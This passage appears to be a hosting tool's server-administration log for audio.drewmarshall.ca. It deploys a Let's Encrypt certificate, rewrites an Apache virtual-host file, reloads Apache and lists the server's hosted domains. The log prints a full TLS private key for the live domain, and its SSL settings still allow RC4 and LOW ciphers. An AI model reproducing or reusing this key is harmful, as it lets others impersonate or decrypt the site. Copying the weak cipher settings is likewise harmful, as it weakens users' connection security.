iF6HU4N7TgaSCnZtcxUKivg0Rp1zHVTUpFy0egNtUbQVh4Fe7LbcCth6xI3te+3N
VrVy6b9vX/KK6ACCUID214s=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-13 06:00:26: Establishing a connection
2026-04-13 06:00:27: Establishing a connection
2026-04-13 06:00:27: 

PUT: /tmp/pkp809379

#!/bin/bash
if [ -d "/var/www/drewmarshall_audio/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-13 06:00:28: 

chmod 755 /tmp/pkp809379; /tmp/pkp809379; rm /tmp/pkp809379

2026-04-13 06:00:28: 


1


2026-04-13 06:00:28: Establishing a connection
2026-04-13 06:00:28: 

PUT: /tmp/pkp127656

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cat > J2Sh-aJIXDxTrSd4ysYBREPFdJhs3Pt87dT4PXFDU7Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
J2Sh-aJIXDxTrSd4ysYBREPFdJhs3Pt87dT4PXFDU7Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 J2Sh-aJIXDxTrSd4ysYBREPFdJhs3Pt87dT4PXFDU7Q


2026-04-13 06:00:28: 

chmod 755 /tmp/pkp127656; /tmp/pkp127656; rm /tmp/pkp127656

2026-04-13 06:00:28: 




2026-04-13 06:00:31: Establishing a connection
2026-04-13 06:00:32: 

PUT: /tmp/pkp163203

#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
rm J2Sh-aJIXDxTrSd4ysYBREPFdJhs3Pt87dT4PXFDU7Q


2026-04-13 06:00:32: 

chmod 755 /tmp/pkp163203; /tmp/pkp163203; rm /tmp/pkp163203

2026-04-13 06:00:32: 




2026-04-13 06:00:32: Establishing a connection
2026-04-13 06:00:32: 

PUT: /tmp/pkp231894

#!/bin/bash
temp_file=$(mktemp)
TARGET=33fbf8d7936a8c67fb764b1ea4759d7a.crt

cat > $temp_file <<'endmsg'
89:89:ea:51:9d:3f:ce:d9:01:a0:45:7a:2a:cb:5f:51

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBtGFvlbv4ZX4rPbMs3O0RH4zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEzMDUwMjAxWhcNMjYwNzEyMDUwMjAwWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCMiQCPjuMZp0lAw0sVsK/una1XJs4sg/f4pE2Ay7w0o3+RvDzuM0Xy
OLN4LsKmYFNZqc5fQa0zqMY0MhesYq+oGeuBa8UJhw/6LfCHjUkJQyRRSc7jDYYy
g4Xgd/yQ+wL4U9shFTroSRlpRWLCbAT/6Y/2tBfnbR6qPYQaa/Y3SBtG97Ge3LG1
GfKa97pccPsVi34mb+p6AWh35MVg8kvs4YNkFRYKeVGdsNTg3ovF47veY7/3UF9q
SROW8UO1uXCa3UkxqzbMbruk2aL+8+svI1No+WRBXEfqqtUS19iPNjFWnoVhBbB8
3A9e2JXbZimm6I/dcILKfG6Z/GE3m45PAgMBAAGjggIkMIICIDAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQU55y4F1z8KH4BPFDc1MGMqC40xdkwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVhdWRpby5kcmV3bWFyc2hhbGwuY2Ew
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy81Mi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdgDY
CVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ2FbWHbAAAEAwBHMEUC
IAgczavY+/ZBfCgCrFnT6YqHc6+ximxXNkVLsxSNDFypAiEAshsEvrCDaXtKqA/V
7XsLT9OK0YnjS9ftZz2OyN/Cj30AfwCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlt
eQCzEjxVJwAAAZ2FbWIJAAgAAAUABrClDgQDAEgwRgIhAN7WMdVhEFYPlmt6oM3/
G3awzPK2HpVCBGzgJjG+9mH7AiEAmuP7Zc+cigSAzLd8kzYlswIBYczZhvcyfERJ
aDTiuowwDQYJKoZIhvcNAQELBQADggEBAC2DF8HlMgHaLB/kBDluTuTVVLxrNpDy
31pZctRt+UcDxLuurPKE3UQQMFPniMLfm1exmby7v26Jx5+u8GvW+wQ/O8NZesEN
iAYJJDi57zCVtiaFGSnmVqJxHy5bXKa8I99R+ixhWHy+Pl6wP3AmPgtsY534AeAS
v5oaPmijdSWPcwDl5befy3qdL8SbbWEmRZP1fpGmXV+V1U7spzkeuzNeeKdIJ+Aw
8Xm2vJAc0x93HCvmKYVD5s1kYcrrud49N7R61DxhpWbld42/hIoYY+fMkSnL9sEa
d9J7rPgK3vCTtdXB3zSXrNikLblNqAqR2AZXVqzLYkW0HzIGHgVBNxg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCMiQCPjuMZp0lA
w0sVsK/una1XJs4sg/f4pE2Ay7w0o3+RvDzuM0XyOLN4LsKmYFNZqc5fQa0zqMY0
MhesYq+oGeuBa8UJhw/6LfCHjUkJQyRRSc7jDYYyg4Xgd/yQ+wL4U9shFTroSRlp
RWLCbAT/6Y/2tBfnbR6qPYQaa/Y3SBtG97Ge3LG1GfKa97pccPsVi34mb+p6AWh3
5MVg8kvs4YNkFRYKeVGdsNTg3ovF47veY7/3UF9qSROW8UO1uXCa3UkxqzbMbruk
2aL+8+svI1No+WRBXEfqqtUS19iPNjFWnoVhBbB83A9e2JXbZimm6I/dcILKfG6Z
/GE3m45PAgMBAAECggEABGShUIYw8d5Zhd1qUsqWf/5h1XWbFafSb+1YQYxyMlsM
uSuJ5BBU7BYlq2jFdkSl67RJL+UdBZ5jA8KvxsMW+/RDeQ+QtemI8FMl+mF077CE
9B2Qirx403S/vJ1Dl0H20nhx7dN8vJd8ZIliEEh8J4Z6P5ta8UW8ov8P9XDRM40m
S8oJCxggfCJTiQm1DDJmPoGusFwydu+Lxb9KQCSMXFc9Iefx7Cqq40vDrANHd7Yr
vVyTiWskyWa80X5xnb/MN+n0xJ7n9VKQnyChp1ZsFoeyxnaWDvoCXrdbU33C8f+R
x5UisQKb8lC+w8KP7GDBbmQCCoI164VntHqlFIhLkQKBgQC/7ljJdQf4mrZWoufE
XTJp4K3AYdzBdpvVpziOVl7HBYEPFTwGxw6kEHDGh8i5pWB1J04F0auGrXahmsUh
xxLgk/bq9YnYJDCoxvrr2b43Q5jW5CGHtWAmbSB9djNCLXKuZlDuylnsalBiDm40
D8v3bAQ9akw0vGaVfBssPVXbXQKBgQC7cpIj618ls6eLjcZkDnmo1egBUurx+RDD
OJbjjlmkSE/b4ZUFFgY+16T8TGMcT/WOwAreTXZrXyl5CYKh3dANmv8brzeKR/Va
tw8vcYI/7BFHhBcGlnkWpzpHmCzSZHLQxPPqoFasjEC7qbh6wMVfZ8fcVx6WJf7J
Iurs7+/hmwKBgAGmF4crhTUChzx5S8ppDozQTE3RyWa0ESSluhum7EuDZZdulERu
o1aPeZiLBBNsM0buXoI4SePvS4yZ2sWugyAAxWdBUrzTmsNoajFqfnLVFtQJw6v5
x+ismVHamRghcdHDuUBD5r/cLfKZsyKpXBQ1DlhEuIDfeXYhSc54fGtVAoGAeEsc
ciS42O8kVLDVYpzPgoRT8ZWO5V6bXU1RuBNAf+dQKKHqCmuJ8oZdgPRcnmzJ/6RK
1UMM/fcCHIT36nz46eJQWSnnEL0BPghAnIfRuMf8htLEHBww9VK4Wf3Uteh0rnnW
tvnS5cTUPhq7IzvW7lUhs8vM+zrC+b2I2ilY3oUCgYEAomJZHf6atomkSvffTvud
VPzTxEQcCymavUJmh81V9A3P5BTWg5v/+GyY/rFKkFmcuLi+HSGhOm+TfT2bhnXZ
Rzbv+KjptQFlkeXSOjrmqMJgBIW+QIX5tPiihybldcHu4S/RDdd8jx3wRTxfLnuR
KST0cBcEea/iQV6HdeMu06E=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-13 06:00:32: 

chmod 755 /tmp/pkp231894; /tmp/pkp231894; rm /tmp/pkp231894

2026-04-13 06:00:32: 


dir=/etc/ssl/certs


2026-04-13 06:00:32: 

PUT: /tmp/pkp390713

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-13 06:00:32: 

chmod 755 /tmp/pkp390713; /tmp/pkp390713; rm /tmp/pkp390713

2026-04-13 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf 45

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-13 06:00:32: 

PUT: /tmp/pkp885063

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_audio_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf= 1'
fi


2026-04-13 06:00:32: 

chmod 755 /tmp/pkp885063; /tmp/pkp885063; rm /tmp/pkp885063

2026-04-13 06:00:32: 




2026-04-13 06:00:32: 

PUT: /tmp/pkp465477

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-13 06:00:32: 

chmod 755 /tmp/pkp465477; /tmp/pkp465477; rm /tmp/pkp465477

2026-04-13 06:00:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-13 06:00:32: Establishing a connection
2026-04-13 06:00:33: 

PUT: /tmp/pkp731427

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-13 06:00:33: 

chmod 755 /tmp/pkp731427; /tmp/pkp731427; rm /tmp/pkp731427

2026-04-13 06:00:33: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-13 06:00:33: 

PUT: /tmp/pkp418746

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-13 06:00:33: 

chmod 755 /tmp/pkp418746; /tmp/pkp418746; rm /tmp/pkp418746

2026-04-13 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf	1238

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-13 06:00:33: 

PUT: /tmp/pkp902291

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
